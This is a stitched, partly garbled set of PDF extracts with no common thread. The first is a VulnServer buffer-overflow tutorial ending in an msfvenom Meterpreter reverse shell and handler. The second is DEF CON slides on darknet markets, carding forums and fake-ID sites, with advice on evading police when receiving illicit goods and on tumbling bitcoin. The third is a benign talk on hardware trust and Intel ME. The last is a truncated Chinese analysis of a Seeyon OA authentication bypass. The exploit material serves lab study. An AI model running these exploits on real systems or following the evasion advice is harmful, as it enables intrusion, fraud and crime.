6. Taking!Control!of!a!Crash!
a. Fine)tuning)your)crash)
)
)
)
We!generally!need!to!know!precisely!where!a!crash!occurs!what!!
!
!
precise!bytes!end!up!overwriting!the!saved!instruction!address.!!
!
!
Fuzzing,!however,!often!leaves!us!with!a!range!instead.!To!address!!
!
!
this!issue,!we!can!fine!tune!it!by!removing!the!for!loop!from!the!fuzzer!!
!
!
and!adding!some!differentiation!to!our!malicious!input.!For!example,!!
!
!
if!you!know!the!overflow!causes!a!crash!at!70!bytes,!you!might!use!the!
!
!
following!malicious!string:!
!
!
!
Badstr)=)“A”)*)70)+)“B”)*)4)+)“C”)*)10)
)
)
)
If!you!observe!any!\x41!values!in!the!eip!register,!then!you!have!too!!
!
!
much!“garbage”!and!you!might!adjust!it!as!follows:!
)
)
)
Badstr)=)“A”)*68)+)“B”)*)4)+)“C”)*)10)
)
)
)
If!you!observe!any!\x43!values,!you!don’t!have!enough!“garbage”!and!!
!
!
you!might!adjust!it!as!follows:!
!
)
)
Badstr)=)“A”)*)72)+)“B”)*)4)+)“C”)*)10)
)
)
)
The!goal!is!to!fine!tune!the!exploit!until!your!eip!register!reads!!!
!
!
\x42\x42\x42\x42!during!a!crash.!This!will!tell!you!to!put!the!jump!!
!
!
instruction!that!redirects!execution!to!the!payload.!
)
)
)
b. Locating)a)jump)instruction)
)
)
)
This!particular!exploit!will!require!a!jump!instruction!that!routes!code!
!
!
execution!to!the!top!of!the!stack!(jmp!esp).!Immunity!Debugger!has!a!!
!
9!
!
!
search!tool!that!allows!you!to!search!for!instructions.!This!can!be!done!
!
!
by!right!clicking!in!the!instruction!window!pane.!
!
!
!
Note!that,!because!most!modern!computers!have!a!little!endian!!
!
!
architecture,!any!addresses!you!find!need!to!have!their!bytes!! !
!
!
reversed.!If!Immunity!indicates!that!there!is!a!jump!instruction!!!
!
!
located!at!address!12345678,!you!would!insert!this!into!your!exploit!!
!
!
in!the!following!way:!
!
!
!
eip!=!“\x78\x56\x34\x12”!
!
!
!
One!of!these!instructions!may!not!always!readily!available.!Immunity!!
!
!
has!a!module!viewer!tool!(which!can!be!found!by!hovering!over!the!!
!
!
controls!along!the!top!of!the!application)!that!will!allow!you!to!see!all!!
!
!
of!the!modules!an!application!loads!when!it!launches.!Often,!a!jump!!
!
!
instruction!from!any!of!these!will!be!sufficient!as!long!as!the!module!!
!
!
does!not!have!ASLR!(Address!Space!Layout!Randomization).!!
!
!
!
ASLR!is!a!technique!meant!to!minimize!the!extent!to!which!buffer!!
!
!
overflow!vulnerabilities!can!be!exploited!by!loading!instructions!into!!
!
!
different!addresses!during!each!program!run.!We!can!determine!!
!
!
which!modules!support!ASLR!by!using!mona.py.!
!
!
!
!
!
In!the!bar!along!the!bottom!of!Immunity’s!window,!type:!
!
!
!
!mona)modules!
!
)
)
Any!loaded!module!without!ASLR!should!work.!For!VulnServer,!!
!
!
vulnserver.exe!and!essfunc.dll!do!not!load!with!ASLR!and!either!can!!
!
!
be!used.!Vulnserver.exe,!however,!does!not!have!any!jmp!esp!! !
!
!
instructions.!
)
c. Adding)A)NOP)sled)
)
)
)
In!a!perfect!world,!we!would!be!able!to!structure!the!exploit!in!the!!
!
!
following!way:!
!
!
!
badcmd)=)garbage)+)eip)+)payload!
!
!
!
However,!in!reality,!additional!control!data!may!be!saved!when!a!!
!
!
function!call!occurs.!As!a!result,!the!stack!pointer!–!the!address!to!!
!
!
which!we!are!jumping!–!may!not!point!at!the!byte!immediately!before!!
!
!
the!saved!instruction!address.!
!
!
!
To!handle!this!scenario,!one!only!include!a!NOP!sled.!NOP!is!the!!
!
!
assembly!instruction!for!“no!operation”!or!“do!nothing”.!!By!inserting!!
!
10!
!
!
a!sequence!of!NOPs!between!the!jump!address!in!our!malicious!string!!
!
!
and!the!payload,!we!can!guarantee!that!the!payload!will!be!executed.!!
!
!
As!long!as!the!jmp!esp!instruction!redirects!code!execution!to!any!one!!
!
!
of!the!NOPs,!the!rest!will!be!executed!and!processor!will!“slide”!down!!
!
!
until!it!hits!the!payload.!
)
7. Completing!the!Exploit!
a. Generating)a)payload!
!
!
!
!
!
A!reverse-tcp!meterpreter!stager!payload!can!be!generated!using!the!!
!
!
following!bash!command.!Note!that!there!is!always!one!space! !!
!
!
between!flag!(-b)!and!the!value!for!that!flag!(\x00).!!
!
!
!
msfvenom!–p)windows/meterpreter/reverse_tcp)) )
)
)
)
)
)
LHOST=<YOURIPHERE>)LPORT=8421)–b)\x00)–e)))
)
)
)
)
x86/shikata_ga_nai)–f)python!
!
!
!
-p!!indicates!the!payload!that!will!be!encoded.!
!
!
!
LHOST!and!LPORT!values!are!arguments!to!the!meterpreter!payload.!!
!
!
Note:!LHOST!must!be!the!IP!of!your!Kali!VM.!
!
!
!
-b!references!bytes!that!cannot!appear!in!the!shellcode.!The!example!!
!
!
provided,!the!null!byte!(\x00),!terminates!a!socket!read.!If!this!!!
!
!
appeared!in!a!payload,!it!would!terminate!the!socket!read!of!the!!
!
!
payload.!There!may!be!other!special!bytes.!
!
!
!
-e!specifies!the!encoding!scheme!of!the!payload.!Will!it!appear!as!!
!
!
shellcode?!Powerscript?!
!
!
!
-f!specifies!the!language!of!the!exploit.!You!will!be!able!to!simply!copy!!
!
!
and!paste!the!output!of!msfvenom!into!your!exploit.!
!
!
!
!
One!the!payload!has!been!generated,!it!merely!needs!to!be!appended!!
!
!
to!the!malicious!string!after!the!nopsled.!At!this!point,!the!structure!of!!
!
!
your!malicious!string!should!be:!
!
!
!
garbage&=&"A"&*&2006&
!
!
eip&=&"\xAF\x11\x50\x62"&
&
&
nop_sled&=&"\x90"&*&24&
&
&
buf=””&
&
&
buf+=<code&omitted&for&brevity>&
&
!
11!
&
&
badstr=garbage+eip+nopsled+buf+”\r\n”
!
!
!
!
!
!
!
b. Setting)a)handler!
!
!
!
In!a!separate!terminal!tab,!we!can!run!the!command!msfconsole!to!!
!
!
launch!the!Metasploit!console.!Once!the!Metasploit!console!is!open,!!
!
!
we!will!run!the!following!command!sequence!to!launch!a!Meterpreter!!
!
!
handler:!
!
!
!
use)multi/handler)
!
!
set)payload)windows/meterpreter/reverse_tcp)
)
)
set)lhost)<yourkaliIP>)
)
)
set)lport)<someport>)
)
)
exploit)
!
c. Exploitation!
!
!
!
At!this!point,!you!should!be!ready!to!try!out!your!exploit.!After!!!
!
!
running!your!exploit!script,!your!Meterpreter!handler!should!tell!you!!
!
!
that!you!have!an!open!Meterpreter!session.!
!
!
!
See:!exploit.py!
!
8. Writing!Custom!Payloads!(As!Time!Permits)!
!
!
See:!custom-payload-calc.py!and!custom-payload-add-user.py!
!
9. References!
!
!
!
A!list!of!references!can!be!found!in!the!GitHub!repository!listed!at!the!
!
beginning!of!the!lecture!notes.! | pdf |
Grifter and Metacortex
@grifter801
@metacortex
A TOUR THROUGH THE DARKSIDE OF THE
INTERNET
THESE GUYS
•
Grifter (@grifter801)
•
DEF CON Goon
•
Multiple time DEF CON Speaker
•
DC801 Founder
•
Founder of 801 Labs Hacker Space in SLC
•
Metacortex (@metacortex)
•
DC801 Organizer
•
Founder of the 801 Labs Hacker Space in SLC
•
Seen us running around: DEF CON, Black Hat, BSides-SLC, SaintCON, ToorCon, ShmooCon
WARNING!!
•
We WILL talk about some questionable content.
•
We can not promise that you won’t be offended.
•
Content may include but not limited to
•
Drugs
•
Pornography
•
Counterfeit Material
•
Murder for Hire (hit men)
•
Money Laundering
•
Arms
•
Hacking
•
Cracking
•
Profanity
HERE IS WHAT WE WILL TALK ABOUT
•
Tor
•
Connecting to it
•
Using it
•
Onion Sites
•
Bitcoin
•
How Bitcoin works
•
How to use it
•
Mining bitcoin
HERE IS WHAT WE WILL TALK ABOUT
•
How to find what you are interested in
•
Darknet Forums
• Hacker/Carder Forums
•
Darknet Search Engines
•
Darknet Marketplaces
•
Purchasing things you are interested in
•
How to stay anonymous when doing so
•
Tips and tricks to be more anonymous and secure than nubs
TOR*
•
The Onion Router
•
Primary Purpose: Anonymize Internet activity
•
Series of routers that anonymously forward traffic
• Routers only knowledgeable about 1 hop in either direction
* Caution: Search of software classifies you as an “Extremist” in the eyes of the NSA, but honestly, what doesn’t?
HOW DO YOU CONNECT TO THE TOR NETWORK
•
CLI Daemon
•
apt-get install tor
• /etc/tor/torrc
• /etc/tor/tor-tsocks.conf
•
Starts socks5 proxy that you can point applications towards
• Defaults to port 9050
•
TorBrowser
•
Simple executable
•
Launches portable Firefox browser with select plugins
CLI CONNECTION
•
/etc/init.d/tor start
•
Point Browser to 9050
•
Visit http://check.torproject.org for confirmation
•
Configure tor through /etc/tor/torrc
•
Set up hidden services
•
Set up the port to listen on
•
Setup basic access lists for allowing other systems to connect to tor through you
TORBROWSER
•
Download at https://www.torproject.org/projects/torbrowser.html.en
•
Support for Windows, OSX, and Linux
•
Run “Start Tor Browser.exe”
DEMO CONNECTING TO TOR
HTTPS Everywhere
Tor Options
No Script
TAILS*
•
Linux Live distro (Debian) dedicated to staying anonymous.
•
Forces all traffic through TOR
•
Will not touch the hard disk (without a fight)
•
Ability to disguise UI as Windows XP so it doesn’t raise suspicions in public areas
•
Comes with preinstalled software
•
HTTPS Everywhere plugin
•
OpenPGP
•
Pidgin OTR
•
Truecrypt
•
KeePassX
* Caution: Search of software classifies you as an “Extremist” in the eyes of the NSA
WE ARE CONNECTED…NOW WHAT?
•
Browse the internet anonymously
•
Tunnel out of restricted networks
•
Fight Censorship
•
Criticize Government/Government Officials
•
Generally just stay anonymous
•
Tor Hidden Services
TOR HIDDEN SERVICES
•
Services that live only in the Tor Network
•
Turns Tor into a Darknet
•
Services use .onion as TLD
•
Put a pin in it mother fucker
•
Fairly complex to explain how it still keeps anonymity so just see:
•
https://www.torproject.org/docs/hidden-services.html.en
FINDING HIDDEN SERVICES
•
Hidden Wiki
•
http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page
•
Torfind
•
http://ndj6p3asftxboa7j.onion/
•
TorSearch
•
http://kbhpodhnfxl3clb4.onion/
•
Grams – Google like search of the TOR darknet
•
http://grams7enufi7jmdl.onion/
•
Deep Web Links NOT IN TOR
•
http://deepweblinks.org/
•
Reddit NOT IN TOR
•
/r/onions
•
Word of mouth
TORIFIED SITES/SITES OF INTEREST
•
The Pirate Bay
•
http://jntlesnev5o7zysa.onion/
•
Caution:
• Does no good if your Bittorrent client doesn’t go through Tor
•
Assassination Market
•
http://www.assmkedzgorodn7o.onion/
•
Crowd Funded Assassinations
•
Rent-A-Hacker
•
http://2ogmrlfzdthnwkez.onion/
HACKER FORUMS
•
TCF – Tor Carding Forum
•
Trading CC’s, CCV’s, Identities
•
Some basic hacking info about RATS and shit
•
Requires ~ $50 purchase for access
•
http://6oa276dur6udwykp.onion/
•
Intel Exchange
•
Mostly Trolling. Some decent information
•
http://rrcc5uuudhh4oz3c.onion
•
HackBB
•
General Hacking/Tutorials/Nubs
•
http://jv7aqstbyhd5hqki.onion
MARKET PLACES
•
What Tor Hidden Services are known for
•
http://www.reddit.com/r/DarkNetMarkets
•
Most up to date listing in the sidebar
•
Most Popular is Silkroad
•
Silkroad 2 is currently up after the takedown of the original
•
http://silkroad6ownowfk.onion/
•
Agora
•
Decent selection of products
•
http://agorahooawayyfoe.onion
•
Evolution
•
Our current favorite
•
http://k5zq47j6wd3wdvjq.onion
DEMO SILKROAD/EVOLUTION
CARDING SITES/FORUMS
•
Tor Carding Forums (TCF).
•
http://6oa276dur6udwykp.onion
•
Requires ~ $50 purchase for access
•
CC
•
http://carding2bil6j7ja.onion/cc
DEMO CARDING SITES
FAKE IDS
•
Fake US Drivers Licenses
•
Scannable, Holograms, UV
•
http://en35tuzqmn4lofbk.onion/
•
Fake Passports/Drivers Licenses
•
http://fakeidscpc4zz6c4.onion/
•
Fake Passports
•
http://fakepasvv3holddd.onion/
•
/r/fakeid
•
Not Tor specifically but you might want to use Tor
DEMO GRAMS
HOW DO YOU ACTUALLY GET ITEMS
•
Bitcoin (BTC)
•
Transfer BTC to the wallet on your marketplace account
•
Pay for items with that money
•
Money goes into Escrow
•
Ship to pickup location
•
See the following OPSEC for further details
BITCOIN
•
You’ve heard about it
•
Online cryptocurrency
•
You set up a digital wallet
•
Either local software or a web based wallet
• I do not recommend a web based wallet.
•
You can send up to 10 millionth of a bitcoin (8 decimal places or 0.00000001 BTC)
•
Not including fees
•
You send to wallet addresses such as 146uk64ZP2iLsSBBPLzkY3xtCnuJg4yFsE
BUT REALLY
•
BTC (or any cryptocurrency) boils down to a global transaction ledger maintained by the
computational power of a P2P network.
•
The more people who participate in BTC the more secure it gets
•
Every transaction is logged by the peers in the P2P network
•
Relies on PKI for authentication
•
Each wallet has a public and private key
•
When transactions are sent, they are signed with the private key
BITCOIN TUMBLING
•
Tumbling or Mixing is the process of anonymizing bitcoin usage
•
Many parties put coins into communal pool
•
Pool distributes to different wallets
• You get back the original amount of coins you put in (minus fee)
SOME CONSIDERATIONS FOR TOR
•
Tor can in some cases reveal your true identity
•
Correlation
• If someone owns both an entry and exit node, they can correlate between the
two
•
Browser Exploits
• Browser JavaScript engine
• XSS
• Pingbacks over non Tor connections
SOME CONSIDERATIONS FOR BITCOIN
•
BTC is not a fully anonymous currency
•
Blockchain is PUBLIC
•
Use a tumbling service to further obfuscate the original source of your bitcoins
• Don’t withdraw from a tumbler exactly what you put in
• Spread out withdrawal amounts and send them to new wallet addresses
OPSEC
•
Stay updated on the Tor Blog
•
https://blog.torproject.org
•
Always keep Tor/TorBrowser updated
•
Stay updated on status of current markets. The subreddit is FANTASTIC for that
•
Browser segregation
•
Don’t be logging into social media sites in the same browser you don’t want to be
tracked on
•
Use a VM specifically for Tor connections (Tails)
•
Even better:
• Specifically boot into a trusted OS instead of VM as host OS has full VM
visibility
OPSEC CONTINUED
•
Receiving Items
•
Don’t send to your house
• Send to PO Box or UPS Store.
• UPS Store will sign for items on your behalf!
• If you have access to an empty house/building, look into sending it there.
•
NEVER open questionable content anywhere you are visible by others
• Wait till you get home
•
Try waiting a week or two to pick up an item
• Foils stakeouts as no one will stakeout a Post Office 24/7 for 2 weeks
• If you want, walk in and confirm item is there and come back later
EVEN MORE OPSEC!
•
Identities
•
Don’t reuse identities
•
Don’t reuse passwords
•
Use disposable emails
• http://www.sharklasers.com/ & https://www.guerrillamail.com/
MAKING MAILBOXES MORE ANONYMOUS
•
Purchase mailbox
•
Buy fake ID using mailbox
•
Burn mailbox
•
Open new mailbox at different location using Fake ID
•
Enjoy more anonymous receiving
WE BOUGHT SOME STUFF
•
Mini Discreet…“Baby Monitor”
•
Runs over the GSM network by inserting a sim card
•
Call the associated number to instantly listen to the room
•
Or sms “1111” to turn on auto dial back
•
Sms “0000” to disable dial back
Baby Monitor
baby
Baby monitor
Hello
your item has been shipped to this address:
XXXXXXXX
Salt Lake City UT XXXXX
United States
Estimated delivery is between Wednesday, May. 14 and Thursday, May. 22
This is how you use the device:
- Open the back cover. Sim card into the deck will automatically boot.boot light is 3 seconds. after the
lights go off you can dial the sim card number.
Installation:Please confirm the GSM network signal strength.So as not to affect the results cause can not
be used
- Number of settings: call the sim card numer with mobilephone or telephone,hang up then setting
success
- Voice feature:Send â1111â0000â
- The flash of red light indicates the SIM card is correctly inserted. SIM will completed initialization and
maintain in stand-by status and the light will be off and it is ready to go
PARTING THOUGHTS
•
Clearly a lot of this talk falls into a gray area
•
Darknets, like anything, can be use for “good” and “evil”
•
These networks have legit purposes and not just for shady shit
•
In our view, these networks are the future of how we will communicate online
SHAMELESS SELF PROMOTION
•
Come visit us at 801 Labs and DC801 events
•
Hit us up on twitter @dc801, @grifter801, and @metacortex
•
Come hang out with us on IRC. #dc801 on the FreeNode network
APPENDIX A: BITCOIN MINING
•
To cut down on computation of all the transactions globally, participants (nodes) group
transactions unconfirmed transactions into “blocks” and suggests what the next block
should be
•
To keep too many people from creating blocks is to make them difficult to create.
•
Node creates block of grouped transactions and adds reference to previous block
• SHA256 of the previous block
•
A “nonce” (random number) is appended to the block and hashed twice
• SHA256(SHA254(block+nonce))
•
Each block hash has to be inferior to the current network difficulty
•
Once the hash of a block + nonce is less than the network difficulty, the block is
submitted to the BlockChain (ledger of transactions)
•
Mining is the process of brute forcing nonce’s in order to submit a block to the blockchain
APPENDIX A CONT: BITCOIN MINING REWARD
•
Reward for successfully submitting a block to the blockchain is 25 BTC
APPENDIX A CONT2: BITCOIN MINING IS HARD
•
In the very beginning people were mining on their CPU’s
•
Network difficulty started rising
•
CUDA came around
•
People started mining on their Video Cards (much faster)
• Network difficulty kept rising
•
Mining Pools are created to share the computational load
•
People started building big mining rigs of several Video Cards
•
Network difficulty continued to rise
•
Custom BTC mining FPGA’s were created
•
Network difficulty is fairly high at this point
•
Custom BTC mining ASIC’s are created
MORE APPENDIX A: CURRENT STATE OF MINING
•
Unless you are running mid to high-end ASIC’s you will be spending more in electricity
than what you will gain back in BTC
•
You will never submit a block to the blockchain on your own
•
Join a pool | pdf |
Untrustworthy
Hardware
And How to Fix It
Seeking Hardware
Transparency
PRESENT DAY.
PRESENT TIME ⌷
- ##FPGA, ##crypto and #openRISC on Freenode
- Shorne and Olofk from #openRISC (hardware and
cross-compilation help)
- PropellerGuy (Parallax Propeller open-source
IO interface)
- Maitimo, International Finance, DC408
Greetz:
Thanks to Contributors:
- core modern open source algorithms for strong
cryptography have been heavy scrutinized,
tested and are readily available
- weak (DES, WEP, etc) and “black box” privacy
tools are becoming a thing of the past
- free and open source software has made it
easier to trust the privacy of computer
systems
Layer:01 Software
Let’s assume the software
(hypothetically) is 100% secure…
Where do we go from here?
- firmware is almost exclusively closed source
and controls almost all hardware devices and
functions
- due to their low-level nature, malicious
firmware persists across OS reinstallations
- "SPI flash is a really nice place if you can
get there" (DEF CON 22: Summary of Attacks
Against BIOS and Secure Boot)
Layer:02 Firmware
- hardware is almost always absolutely trusted
by the rest of the system, as it is not widely
considered an attack surface (especially in
the consumer space)
Layer:03 Hardware
- hardware is almost always absolutely trusted
by the rest of the system, as it is not widely
considered an attack surface (especially in
the consumer space)
- NSA has been caught hardware backdooring Cisco
systems (Glenn Greenwald, No Place to Hide),
and DoD, Apple suspect adversarial nation
states may be doing this as well
Layer:03 Hardware
- hardware is almost always absolutely trusted
by the rest of the system, as it is not widely
considered an attack surface (especially in
the consumer space)
- NSA has been caught hardware backdooring Cisco
systems (Glenn Greenwald, No Place to Hide),
and DoD, Apple suspect adversarial nation
states may be doing this as well
- “if the hardware is compromised, then the
whole machine is compromised”
Layer:03 Hardware
hardware backdooring is real
- Management Engine runs on a
dedicated logic device within the
processor and runs proprietary
firmware and OS
- Intel ME has full network device
access with the ability to
intercept network traffic without
the CPU’s knowledge
- system access at the lowest level
- remains functional in the
background even if the system is
shut down but remains on standby
power
Layer:04 Intel Management Engine
Management Engine might sound like a feature reserved
for enterprise or server applications, but it can be
found everywhere
- most of our knowledge comes from Igor Skochinsky and a
poorly secured company FTP server
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a
poorly secured company FTP server
- Runs ThreadX real-time OS
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a
poorly secured company FTP server
- Runs ThreadX real-time OS (closed source, proprietary)
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a
poorly secured company FTP server
- Runs ThreadX real-time OS (closed source, proprietary)
- has its own MAC address and IP address for out-of-band
features
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a
poorly secured company FTP server
- Runs ThreadX real-time OS (closed source, proprietary)
- has its own MAC address and IP address for out-of-band
features
- some code hidden in an inaccessible on-chip ROM
(decapping required to dump contents), other parts
share space with the firmware ROM
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a
poorly secured company FTP server
- Runs ThreadX real-time OS (closed source, proprietary)
- has its own MAC address and IP address for out-of-band
features
- some code hidden in an inaccessible on-chip ROM
(decapping required to dump contents), other parts
share space with the firmware ROM
- uses compression and encoding (LMZA, Huffman) to thwart
reverse engineering
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a poorly secured
company FTP server
- Runs ThreadX real-time OS (closed source, proprietary)
- has its own MAC address and IP address for out-of-band features
- some code hidden in an inaccessible on-chip ROM (decapping required to
dump contents), other parts share space with the firmware ROM
- uses compression and encoding (LMZA, Huffman) to thwart reverse
engineering
- multiple versions of IME exist using ARC, SPARC V8 and other
instruction sets
Intel ME Technical Overview
Atmel Rad-hardened
Sparc V8
ARC
development
platform
“In short, it’s a reverse-engineer’s worst
nightmare.”
- hackaday.com
- effectively the perfect hardware backdoor,
although ME is marketed as an IT out-of-band
management tool
- present in all Intel systems since ~2008-2009,
with no practical way to disable or audit
- handful of exploits exist for ME, with the
number on the rise, requiring a firmware
update from the manufacturer
Note: AMD also has a similar black-box
platform, called TrustZone / PSP, but it has
not been well documented / researched (they
haven’t made new CPUs until recently)
If we’re discussing a worst case situation for
hardware security, just how far can we go?
Bonus Round: Speculation
- Hardware backdooring has been documented as
mentioned earlier is viewed as a viable threat by
other state actors (DoD)
- nation states could backdoor product manufacturing
with switched or additional components
- scarier yet, chips themselves (CPUs, chipsets,
NICs, ROMs) could be backdoored at the fabrication
center
What About Nation States?
If they’re willing to go this far…
What’s to stop them from going further?
- University of Michigan researchers documented
how easy it would be to hide malicious
features in processor designs at design time
and fabrication time, even by a single rouge
employee! (A2: Analog Malicious Hardware)
- entirely possible for nation states to
accomplish, and would lead to widespread and
total compromise while being virtually
undetectable
Credit: University of Michigan
Why can’t we do for hardware
what we did for software?
- open source OS is a good start, open source
firmware (Libreboot, etc) is better along with
open source hardware, “no blob” system is
ideal
Why can’t we do for hardware
what we did for software?
- open source OS is a good start, open source
firmware (Libreboot, etc) is better along with
open source hardware, “no blob” system is
ideal
- some OSHW devices like Novena laptop are very
close to this, but still require blobs for
full functionality
Why can’t we do for hardware
what we did for software?
- open source OS is a good start, open source
firmware (Libreboot, etc) is better along with
open source hardware, “no blob” system is
ideal
- some OSHW devices like Novena laptop are very
close to this, but still require blobs for
full functionality
- this also still leaves users trusting the
chips
What can be done for peace-of-mind
private computation for critical
situations and down-right paranoid
users?
- Can we build a cost-effective low-
level solution that offers maximum
transparency?
- Can we build a cost-effective low-
level solution that offers maximum
transparency?
- on our platform, Linux and all
programs run on the FPGA, so we know
exactly what the CPU is doing
- field programmable gate arrays
are large blocks of
configurable digital logic
gates
- chips are designed in special
languages called HDLs (hardware
description languages)
- bitstream generators read these
files and program the gates
within the FPGA to function as
the HDL code dictates
- most commonly used for chip
design and testing, special
hardware applications
FPGA 101
An Alternative
- Built around a
cryptographic use case
- Runs GNU/Linux
- Fully open-source
hardware and software
down to the chip
designs of both major
components
- Parallax Propellor for
IO, OpenRISC mor1kx 6-
stage CPU running OS
and tools
OpenRISC
MOR1KX
open-source
CPU
FPGA
ROM
block diagram:
MOR1KX
JTAG
JTAG
Parallax
Propeller
open-source
MicroController
OpenRISC
MOR1KX
open-source
CPU
Propeller
ROM
FPGA
ROM
block diagram:
MOR1KX
JTAG
115200 Baud
Serial
JTAG
Parallax
Propeller
open-source
MicroController
OpenRISC
MOR1KX
open-source
CPU
Propeller
ROM
TFT LCD
Keyboard
FPGA
ROM
block diagram:
MOR1KX
JTAG
115200 Baud
Serial
JTAG
SPI
PS/2
- Built linux
image with MUSL,
openADK tools;
loading with
OpenOCD and GDB
- Built linux
image with MUSL,
openADK tools;
loading with
OpenOCD and GDB
- Propeller
programmed in
SPIN and
configured with
Parallax tools
- Built Linux image
with MUSL, openADK
tools; loading with
OpenOCD and GDB
- Propeller
programmed in SPIN
and configured with
Parallax tools
- FPGA programed with
.sof openRISC image
using Altera
Quartus, FuseSoC
The Results
(it’s complicated)
The Final Product:
Works(ed) great!
until this
and this…
except the USB-Blaster is on the board…
The Backup:
FPGAs Suck
but recreating this project is easy
all code, 3d models and guides will be available shortly
at https://github.com/UntrustworthyHardware-DC25/THP
One more thing(s)
- in a recent AMA on Reddit, AMD has publicly
stated that they are “strongly considering”
making the source code for their IME-
equivalent, PSP / Trustzone OPEN SOURCE
- This is an ongoing project! I will continue to
improve the system I have built here with
plans for RF side channel hardening and
increased system independence.
Further Reading and Additional Resources
- DEF CON 22: Summary of Attacks Against BIOS and Secure Boot: https://www.youtube.com/watch?v=QDSlWa9xQuA
- DEF CON XX: Hardware Backdooring is Practical: https://www.youtube.com/watch?v=8Mb4AiZ51Yk
- NSA shipment hijacking: http://www.theverge.com/2013/12/29/5253226/nsa-cia-fbi-laptop-usb-plant-spy
- Windows “golden keys” leaked: https://arstechnica.com/security/2016/08/microsoft-secure-boot-firmware-snafu-
leaks-golden-key/
- NSA Cisco implant: https://arstechnica.com/tech-policy/2014/05/photos-of-an-nsa-upgrade-factory-show-cisco-
router-getting-implant/
- Apple suspects hardware backdoors by state actors in server shipments: https://www.extremetech.com/extreme/
225524-apple-may-design-its-own-servers-to-avoid-government-snooping
- NSA deploys low level / hardware backdoors against intercepted consumer devices: http://www.extremetech.com/
computing/173721-the-nsa-regularly-intercepts-laptop-shipments-to-implant-malware-report-says
- Summary of Intel ME: https://boingboing.net/2016/06/15/intel-x86-processors-ship-with.html
- Detailed IME breakdown by Libreboot team: https://libreboot.org/faq/#intel
- REcon 2014: Intel Management Engine Secrets (Igor Skochinsky): https://www.youtube.com/watch?v=4kCICUPc9_8
- Hackaday: The Trouble with Intel’s Management Engine: http://hackaday.com/2016/01/22/the-trouble-with-intels-
management-engine/
- Hackaday IME workarounds: https://hackaday.com/2016/11/28/neutralizing-intels-management-engine/
- A2: Malicious Analog Hardware: https://www.ieee-security.org/TC/SP2016/papers/0824a018.pdf
- Wired Summary of silicon backdooring: https://www.wired.com/2016/06/demonically-clever-backdoor-hides-inside-
computer-chip/
- Power-based side channel attacks: https://www.rsaconference.com/writable/presentations/file_upload/br-w03-
watt-me-worry-analyzing-ac-power-to-find-malware.pdf
- openRISC homepage: http://openrisc.io/
- getting started with openRISC: https://github.com/openrisc/tutorials
- open source Propeller terminal using Adafruit 2.8” TFT: https://github.com/tdoylend/tgi2
Copyright Disclaimer Under Section
107 of the Copyright Act 1976,
allowance is made for "fair use" for
purposes such as criticism, comment,
news reporting, teaching,
scholarship, and research. Fair use
is a use permitted by copyright
statute that might otherwise be
infringing. Non-profit, educational
or personal use tips the balance in
favor of fair use. | pdf |
致远OA漏洞分析
hw已经开始2天啦,期间爆出不少漏洞,这也是⼀个不错的学习机会,可以学⼀下⼤佬的挖洞姿势。
看到致远OA出现了漏洞,随笔写下分析⽂章。经典的组合漏洞。其实只要进了后台,还是有⼏个⽅法可以拿到shell的。
本机环境:
Windows 10
Mysql 5.5.37
S1 V1.9.5/Seeyon A8+/V7.0 SP1
⼀.任意账户登陆分析
根据互联⽹上的POC来看。漏洞在 /thirdpartyController.do" 且method为 access .
根据xml配置⽂件确定 thirdpartyController.do 对应类为 com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController
漏洞分析: 主要问题在于enc参数的加解密上。
if (request.getParameter("enc") != null) {
enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
} else {
String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
enc = (request.getQueryString().indexOf("enc=") > 0) ? LightWeightEncoder.decodeString(transcode) : null;
}
if (enc == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
如果enc参数的值不为空。则进 LightWeightEncoder.decodeString 进⾏解密。 这⾥切⼊ LightWeightEncoder 类。
定义了两个⽅法, encodeString 和 decodeString .及加密/解密。也就是说,在enc不为空条件下,将其内容传⼊ decodeString ⽅法进⾏解密。
加解密的规则是将字符通过 toCharArray() ⽅法转换为字符数组。
然后通过for循环,将每个字符的char值上加⼀。
如: abcd => char() 97 98 99 100
转换后为: char() 98 99 100 101 => bcde
最后返回base64编码过后的内容。
回到 thirdpartyController.do 中。看 enc 解密过后的内容进⾏了哪些操作。
Map<String,String> encMap = new HashMap<String, String>();
String[] enc0 = enc.split("[&]");
for (String enc1 : enc0) {
String[] enc2 = enc1.split("[=]");
if (enc2 != null) {
String key = enc2[0];
String value = (enc2.length == 2) ? enc2[1] : null;
if (null != value) {
value = URLEncoder.encode(value);
value = value.replaceAll("%3F", "");
value = URLDecoder.decode(value);
}
encMap.put(key, value);
}
}
先创建了⼀个 HashMap 。然后将enc的内容以 & 进⾏分割。在以 = 分割出 key 和 value .后写⼊encMap中。
也就是说 test=123 分割后 key:test value:123 。
继续往下:
String linkType = encMap.get("L");
//取L键指
String path = encMap.get("P");
//取P键指
if (Strings.isNotBlank(linkType))//⼀次判空。 {
String startTimeStr = "0";//默认值
if (encMap.containsKey("T")) {
startTimeStr = encMap.get("T");//取T键值
startTimeStr = startTimeStr.trim();
}
Long timeStamp = Long.valueOf(0L);
if (NumberUtils.isNumber(startTimeStr)) {
timeStamp = Long.valueOf(Long.parseLong(startTimeStr));
} else {
timeStamp = Long.valueOf(DateUtil.parse(startTimeStr, "yyyy-MM-dd HH:mm:ss").getTime());
}
if ((System.currentTimeMillis() - timeStamp.longValue()) / 1000L > (this.messageMailManager.getContentLinkValidity()
60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}
String _memberId = encMap.get("M");
这⾥注意 encMap 的使⽤。 主要变量有: linkType , path , startTimeStr , _memberId , ticket
分别取encMap中的: L , P , T , M , C 键的值。
startTimeStr 为 T 键的值。下⽅对 startTimeStr 进⾏判断,如果是数字,则转换成 long 类型。如果不是数字,则按照 yyyy-MM-dd HH:mm:ss
换为⽇期。在转换成 long 类型的时间时间戳。
需要注意下⽅的if判断,如果 System.currentTimeMillis() 的值减去 startTimeStr 在除1000L如果⼤于 getContentLinkValidity() * 60 * 60)
